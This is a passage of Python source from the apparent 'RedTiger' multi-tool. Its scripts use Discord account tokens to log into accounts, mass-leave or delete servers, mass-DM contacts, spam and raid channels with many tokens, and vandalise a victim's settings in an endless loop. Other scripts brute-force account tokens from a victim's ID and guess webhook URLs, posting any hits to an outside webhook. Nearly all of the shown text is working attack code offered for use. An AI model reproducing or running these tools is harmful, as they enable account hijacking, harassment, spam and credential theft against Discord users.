2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Leaver")
20 |
21 | try:
22 | def leaver(guilds, token):
23 | for guild in guilds:
24 | try:
25 | response = requests.delete(f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], headers={'Authorization': token})
26 | if response.status_code == 204 or response.status_code == 200:
27 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Leave{green} Server: {white}{guild['name']}")
28 | elif response.status_code == 400:
29 | response = requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], headers={'Authorization': token})
30 | if response.status_code == 204 or response.status_code == 200:
31 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Leave{green} Server: {white}{guild['name']}")
32 | else:
33 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error {response.status_code}{red} Server: {white}{guild['name']}")
34 | except Exception as e:
35 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error: {e}{red}")
36 |
37 |
38 | Slow(discord_banner)
39 | token = Choice1TokenDiscord()
40 |
41 | processes = []
42 | guilds_id = requests.get("https://discord.com/api/v8/users/@me/guilds", headers={'Authorization': token}).json()
43 | if not guilds_id:
44 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} No Server found.")
45 | Continue()
46 | Reset()
47 | for guild in [guilds_id[i:i+3] for i in range(0, len(guilds_id), 3)]:
48 | leaver(guild, token)
49 | Continue()
50 | Reset()
51 | except Exception as e:
52 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Login.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | from selenium import webdriver
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Discord Token Login")
19 | try:
20 | Slow(discord_banner)
21 | token = Choice1TokenDiscord()
22 |
23 | print(f"""
24 | {BEFORE}01{AFTER}{white} Chrome (Windows / Linux)
25 | {BEFORE}02{AFTER}{white} Edge (Windows)
26 | {BEFORE}03{AFTER}{white} Firefox (Windows)
27 | """)
28 | browser = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Browser -> {reset}")
29 |
30 | if browser in ['1', '01']:
31 | try:
32 | navigator = "Chrome"
33 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} {navigator} Starting..{blue}")
34 | driver = webdriver.Chrome()
35 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} {navigator} Ready !{blue}")
36 | except:
37 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
38 | Continue()
39 | Reset()
40 |
41 | elif browser in ['2', '02']:
42 | if sys.platform.startswith("linux"):
43 | OnlyLinux()
44 | else:
45 | try:
46 | navigator = "Edge"
47 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} {navigator} Starting..{blue}")
48 | driver = webdriver.Edge()
49 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} {navigator} Ready !{blue}")
50 | except:
51 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
52 | Continue()
53 | Reset()
54 |
55 | elif browser in ['3', '03']:
56 | if sys.platform.startswith("linux"):
57 | OnlyLinux()
58 | else:
59 | try:
60 | navigator = "Firefox"
61 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} {navigator} Starting..{blue}")
62 | driver = webdriver.Firefox()
63 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} {navigator} Ready !{blue}")
64 | except:
65 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
66 | Continue()
67 | Reset()
68 | else:
69 | ErrorChoice()
70 |
71 | try:
72 | script = """
73 | function login(token) {
74 | setInterval(() => {
75 | document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
76 | }, 50);
77 | setTimeout(() => {
78 | location.reload();
79 | }, 2500);
80 | }
81 | """
82 |
83 | driver.get("https://discord.com/login")
84 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Token Connection..{blue}")
85 | driver.execute_script(script + f'\nlogin("{token}")')
86 | time.sleep(4)
87 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Connected Token !{blue}")
88 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} If you leave the tool, edge will close!{blue}")
89 | Continue()
90 | Reset()
91 | except:
92 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
93 | Continue()
94 | Reset()
95 | except Exception as e:
96 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Mass-Dm.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 |
20 | Title("Discord Token Mass Dm")
21 |
22 | try:
23 | def MassDM(token_discord, channels, Message):
24 | for channel in channels:
25 | for user in [x["username"]+"#"+x["discriminator"] for x in channel["recipients"]]:
26 | try:
27 | requests.post(f"https://discord.com/api/v9/channels/{channel['id']}/messages", headers={'Authorization': token_discord}, data={"content": f"{Message}"})
28 | print(f'{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Send{red} User: {white}{user}{red}')
29 |
30 | except Exception as e:
31 | print(f'{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error: {e}{red}')
32 |
33 | Slow(discord_banner)
34 | token_discord = Choice1TokenDiscord()
35 | validityTest = requests.get('https://discordapp.com/api/v6/users/@me', headers={'Authorization': token_discord, 'Content-Type': 'application/json'})
36 | if validityTest.status_code != 200:
37 | ErrorToken()
38 | try:
39 | message = str(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Message -> {reset}"))
40 | except:
41 | pass
42 | processes = []
43 |
44 | try:
45 | repetition = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Number of Repetitions -> {reset}"))
46 | except:
47 | ErrorNumber()
48 |
49 | channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers={'Authorization': token_discord}).json()
50 |
51 | number = 0
52 | for i in range(repetition):
53 | number += 1
54 | if not channelIds:
55 | ()
56 | for channel in [channelIds[i:i+3] for i in range(0, len(channelIds), 3)]:
57 | t = threading.Thread(target=MassDM, args=(token_discord, channel, message))
58 | t.start()
59 | processes.append(t)
60 | for process in processes:
61 | process.join()
62 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Finish n°{number}.")
63 | time.sleep(0.5)
64 |
65 |
66 | Continue()
67 | Reset()
68 | except Exception as e:
69 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Nuker.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import time
16 | import requests
17 | import time
18 | from itertools import cycle
19 | import random
20 | except Exception as e:
21 | ErrorModule(e)
22 |
23 |
24 | Title("Discord Token Nuker")
25 |
26 | try:
27 | Slow(discord_banner)
28 | token = Choice1TokenDiscord()
29 | custom_status_input = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Custom Status -> {reset}")
30 |
31 | headers = {'Authorization': token, 'Content-Type': 'application/json'}
32 | response = requests.get('https://discord.com/api/v8/users/@me', headers=headers)
33 | if response.status_code != 200:
34 | ErrorToken()
35 |
36 | default_status = f"Nuking By {github_tool}"
37 | custom_status = f"{custom_status_input} | RedTiger"
38 |
39 | modes = cycle(["light", "dark"])
40 |
41 | while True:
42 |
43 | CustomStatus_default = {"custom_status": {"text": default_status}}
44 | try:
45 | r = requests.patch("https://discord.com/api/v9/users/@me/settings", headers=headers, json=CustomStatus_default)
46 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Status Discord: {white}{default_status}{red}")
47 | except Exception as e:
48 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error {e}{red} Status Discord: {white}{default_status}{red}")
49 |
50 | for _ in range(5):
51 | try:
52 | random_language = random.choice(['ja', 'zh-TW', 'ko', 'zh-CN', 'th', 'uk', 'ru', 'el', 'cs'])
53 | setting = {'locale': random_language}
54 | requests.patch("https://discord.com/api/v7/users/@me/settings", headers=headers, json=setting)
55 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Language: {white}{random_language}{red}")
56 | except:
57 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Language: {white}{random_language}{red}")
58 |
59 | try:
60 | theme = next(modes)
61 | setting = {'theme': theme}
62 | requests.patch("https://discord.com/api/v8/users/@me/settings", headers=headers, json=setting)
63 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Theme: {white}{theme}{red}")
64 | except:
65 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Theme: {white}{theme}{red}")
66 | time.sleep(0.5)
67 |
68 |
69 | CustomStatus_custom = {"custom_status": {"text": custom_status}}
70 | try:
71 | r = requests.patch("https://discord.com/api/v9/users/@me/settings", headers=headers, json=CustomStatus_custom)
72 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Status Discord: {white}{custom_status}{red}")
73 | except Exception as e:
74 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Changed{red} Status Discord: {white}{custom_status}{red}")
75 |
76 | for _ in range(5):
77 | try:
78 | random_language = random.choice(['ja', 'zh-TW', 'ko', 'zh-CN', 'th', 'uk', 'ru', 'el', 'cs'])
79 | setting = {'locale': random_language}
80 | requests.patch("https://discord.com/api/v7/users/@me/settings", headers=headers, json=setting)
81 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Language: {white}{random_language}{red}")
82 | except:
83 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Language: {white}{random_language}{red}")
84 |
85 | try:
86 | theme = next(modes)
87 | setting = {'theme': theme}
88 | requests.patch("https://discord.com/api/v8/users/@me/settings", headers=headers, json=setting)
89 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Theme: {white}{theme}{red}")
90 | except:
91 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Theme: {white}{theme}{red}")
92 | time.sleep(0.5)
93 | except Exception as e:
94 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Server-Raid.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import random
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Server Raid")
20 |
21 | try:
22 |
23 | def raid(tokens, channels, message):
24 | try:
25 | token = random.choice(tokens)
26 | channel = random.choice(channels)
27 | response = requests.post(f"https://discord.com/api/channels/{channel}/messages", data={'content': message}, headers={'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', 'Authorization': token})
28 | response.raise_for_status()
29 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Message: {white}{message_sensur}{green} Channel: {white}{channel}{green} Status: {white}Send{green}")
30 | except:
31 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Message: {white}{message_sensur}{red} Channel: {white}{channel}{red} Status: {white}Error {response.status_code}{red}")
32 |
33 |
34 | Slow(discord_banner)
35 | tokens = ChoiceMultiTokenDisord()
36 | channels = ChoiceMultiChannelDiscord()
37 |
38 | message = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Spam Message -> {reset}")
39 | message_len = len(message)
40 | if message_len > 10:
41 | message_sensur = message[:10]
42 | message_sensur = message_sensur + "..."
43 | else:
44 | message_sensur = message
45 |
46 | try:
47 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number (recommended: 2, 4) -> {reset}"))
48 | except:
49 | ErrorNumber()
50 |
51 | def request():
52 | threads = []
53 | try:
54 | for _ in range(int(threads_number)):
55 | t = threading.Thread(target=raid, args=(tokens, channels, message))
56 | t.start()
57 | threads.append(t)
58 | except:
59 | ErrorNumber()
60 |
61 | for thread in threads:
62 | thread.join()
63 |
64 | while True:
65 | request()
66 | except Exception as e:
67 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Spammer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Spammer")
20 |
21 | try:
22 |
23 | def spammer(token, message):
24 | try:
25 | response = requests.post(
26 | f"https://discord.com/api/channels/{channel}/messages",
27 | data={'content': message},
28 | headers={
29 | 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7',
30 | 'Authorization': token
31 | }
32 | )
33 | response.raise_for_status()
34 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Message: {white}{message_sensur}{green} Channel: {white}{channel}{green} Status: {white}Send{green}")
35 | except:
36 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Message: {white}{message_sensur}{red} Channel: {white}{channel}{red} Status: {white}Error {response.status_code}{red}")
37 |
38 |
39 | Slow(discord_banner)
40 | token = Choice1TokenDiscord()
41 | channel = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Channel Spam Id -> {reset}")
42 | message = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Spam Message -> {reset}")
43 | message_len = len(message)
44 | if message_len > 10:
45 | message_sensur = message[:10]
46 | message_sensur = message_sensur + "..."
47 | else:
48 | message_sensur = message
49 |
50 | try:
51 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number (recommended: 2, 4) -> {reset}"))
52 | except:
53 | ErrorNumber()
54 |
55 | def request():
56 | threads = []
57 | try:
58 | for _ in range(int(threads_number)):
59 | t = threading.Thread(target=spammer, args=(token, message))
60 | t.start()
61 | threads.append(t)
62 | except:
63 | ErrorNumber()
64 |
65 | for thread in threads:
66 | thread.join()
67 |
68 | while True:
69 | request()
70 | except Exception as e:
71 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Status-Changer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import time
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 |
20 | Title("Discord Token Status Changer")
21 |
22 | try:
23 | Slow(discord_banner)
24 | token = Choice1TokenDiscord()
25 | try:
26 | statue_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} How many statues do you want to cycle (max 4) -> {reset}"))
27 | except:
28 | ErrorNumber()
29 |
30 | statues = []
31 |
32 | headers = {'Authorization': token, 'Content-Type': 'application/json'}
33 |
34 | if statue_number >= 1 and statue_number <= 4:
35 | for loop in range(0, statue_number):
36 | choice = str(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Custom Status {loop+1} -> {reset}"))
37 | statues.append(choice)
38 | else:
39 | ErrorNumber()
40 |
41 | while True:
42 | for i in range(len(statues)):
43 | CustomStatus = {"custom_status": {"text": statues[i]}}
44 | try:
45 | r = requests.patch("https://discord.com/api/v9/users/@me/settings", headers=headers, json=CustomStatus)
46 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Status Discord: {white}{statues[i]}{red}")
47 | i += 1
48 | time.sleep(5)
49 | except Exception as e:
50 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Changed{red} Status Discord: {white}{statues[i]}{red}")
51 | time.sleep(5)
52 | except Exception as e:
53 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Theme-Changer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import time
16 | from itertools import cycle
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 |
21 | Title("Discord Token Theme Changer")
22 |
23 | try:
24 | Slow(discord_banner)
25 | token = Choice1TokenDiscord()
26 |
27 | headers = {'Authorization': token, 'Content-Type': 'application/json'}
28 | r = requests.get('https://discord.com/api/v8/users/@me', headers=headers)
29 | if r.status_code == 200:
30 | try:
31 | amount = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Enter the number of cycles -> {color.RESET}"))
32 | except:
33 | ErrorNumber()
34 |
35 | modes = cycle(["light", "dark"])
36 | for i in range(amount):
37 | try:
38 | theme = next(modes)
39 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Theme: {white}{theme}{red}")
40 | time.sleep(0.5)
41 | setting = {'theme': theme}
42 | requests.patch("https://discord.com/api/v8/users/@me/settings", headers=headers, json=setting)
43 | except:
44 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Theme: {white}{theme}{red}")
45 |
46 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Finish.")
47 | Continue()
48 | Reset()
49 | else:
50 | ErrorToken()
51 | except Exception as e:
52 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-To-Id-And-Brute.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import string
15 | import requests
16 | import json
17 | import random
18 | import threading
19 | import base64
20 | except Exception as e:
21 | ErrorModule(e)
22 |
23 | Title("Discord Token To Id")
24 | try:
25 | Slow(discord_banner)
26 | userid = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Victime ID -> {reset}")
27 | OnePartToken = str(base64.b64encode(userid.encode("utf-8")), "utf-8").replace("=", "")
28 | print(f'{BEFORE + current_time_hour() + AFTER} {INFO} Part One Token: {white}{OnePartToken}.{reset}')
29 |
30 | brute = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Find the second part by brute force ? (y/n) -> {reset}")
31 | if not brute in ['y', 'Y', 'Yes', 'yes', 'YES']:
32 | Continue()
33 | Reset()
34 |
35 | webhook = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook ? (y/n) -> {reset}")
36 | if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']:
37 | webhook_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook URL -> {reset}")
38 | CheckWebhook(webhook_url)
39 |
40 | try:
41 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
42 | except:
43 | ErrorNumber()
44 |
45 |
46 | def send_webhook(embed_content):
47 | payload = {
48 | 'embeds': [embed_content],
49 | 'username': username_webhook,
50 | 'avatar_url': avatar_webhook
51 | }
52 |
53 | headers = {
54 | 'Content-Type': 'application/json'
55 | }
56 |
57 | requests.post(webhook_url, data=json.dumps(payload), headers=headers)
58 |
59 | def token_check():
60 | first = OnePartToken
61 | second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([6])))
62 | third = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([38])))
63 | token = f"{first}.{second}.{third}"
64 |
65 | try:
66 | response = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token, 'Content-Type': 'application/json'})
67 | if response.status_code == 200:
68 | if webhook in ['y']:
69 | embed_content = {
70 | 'title': f'Token Valid !',
71 | 'description': f"**Token:**\n```{token}```",
72 | 'color': color_webhook,
73 | 'footer': {
74 | "text": username_webhook,
75 | "icon_url": avatar_webhook,
76 | }
77 | }
78 | send_webhook(embed_content)
79 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{green} Token: {white}{token}{green}")
80 | else:
81 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{green} Token: {white}{token}{green}")
82 | else:
83 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Invalid{red} Token: {white}{token}{red}")
84 | except:
85 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Error{red} Token: {white}{token}{red}")
86 |
87 | def request():
88 | threads = []
89 | try:
90 | for _ in range(int(threads_number)):
91 | t = threading.Thread(target=token_check)
92 | t.start()
93 | threads.append(t)
94 | except:
95 | ErrorNumber()
96 |
97 | for thread in threads:
98 | thread.join()
99 |
100 | while True:
101 | request()
102 | except Exception as e:
103 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Webhook-Delete.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 |
19 | Title("Discord Webhook Delete")
20 |
21 | try:
22 | webhook_url = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} URL Webhook -> {color.RESET}")
23 | if CheckWebhook(webhook_url) == False:
24 | ErrorWebhook()
25 | try:
26 | response = requests.delete(webhook_url)
27 | response.raise_for_status()
28 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Webhook Deleted.")
29 | Continue()
30 | Reset()
31 | except:
32 | ErrorWebhook()
33 | except Exception as e:
34 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Webhook-Generator.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import string
15 | import requests
16 | import json
17 | import random
18 | import threading
19 | except Exception as e:
20 | ErrorModule(e)
21 |
22 | Title("Discord Webhook Generator")
23 |
24 | try:
25 | webhook = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook ? (y/n) -> {reset}")
26 | if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']:
27 | webhook_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook URL -> {reset}")
28 | if CheckWebhook(webhook_url) == False:
29 | ErrorWebhook()
30 |
31 | try:
32 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
33 | except:
34 | ErrorNumber()
35 |
36 | def send_webhook(embed_content):
37 | payload = {
38 | 'embeds': [embed_content],
39 | 'username': username_webhook,
40 | 'avatar_url': avatar_webhook
41 | }
42 |
43 | headers = {
44 | 'Content-Type': 'application/json'
45 | }
46 |
47 | requests.post(webhook_url, data=json.dumps(payload), headers=headers)
48 |
49 | def webhook_check():
50 | first = ''.join([str(random.randint(0, 9)) for _ in range(19)])
51 | second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([68])))
52 | webhook_test_code = f"{first}/{second}"
53 | webhook_test_url = f"https://discord.com/api/webhooks/{webhook_test_code}"
54 |
55 | try:
56 | response = requests.head(webhook_test_url)
57 | if response.status_code == 200:
58 | if webhook in ['y']:
59 | embed_content = {
60 | 'title': f'Webhook Valid !',
61 | 'description': f"**Webhook:**\n```{webhook_test_url}```",
62 | 'color': color_webhook,
63 | 'footer': {
64 | "text": username_webhook,
65 | "icon_url": avatar_webhook,
66 | }
67 | }
68 | send_webhook(embed_content)
69 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{green} Webhook: {white}{webhook_test_code}{green}")
70 | else:
71 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{green} Webhook: {white}{webhook_test_code}{green}")
72 | else:
73 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Invalid{red} Webhook: {white}{webhook_test_code}{red}")
74 | except:
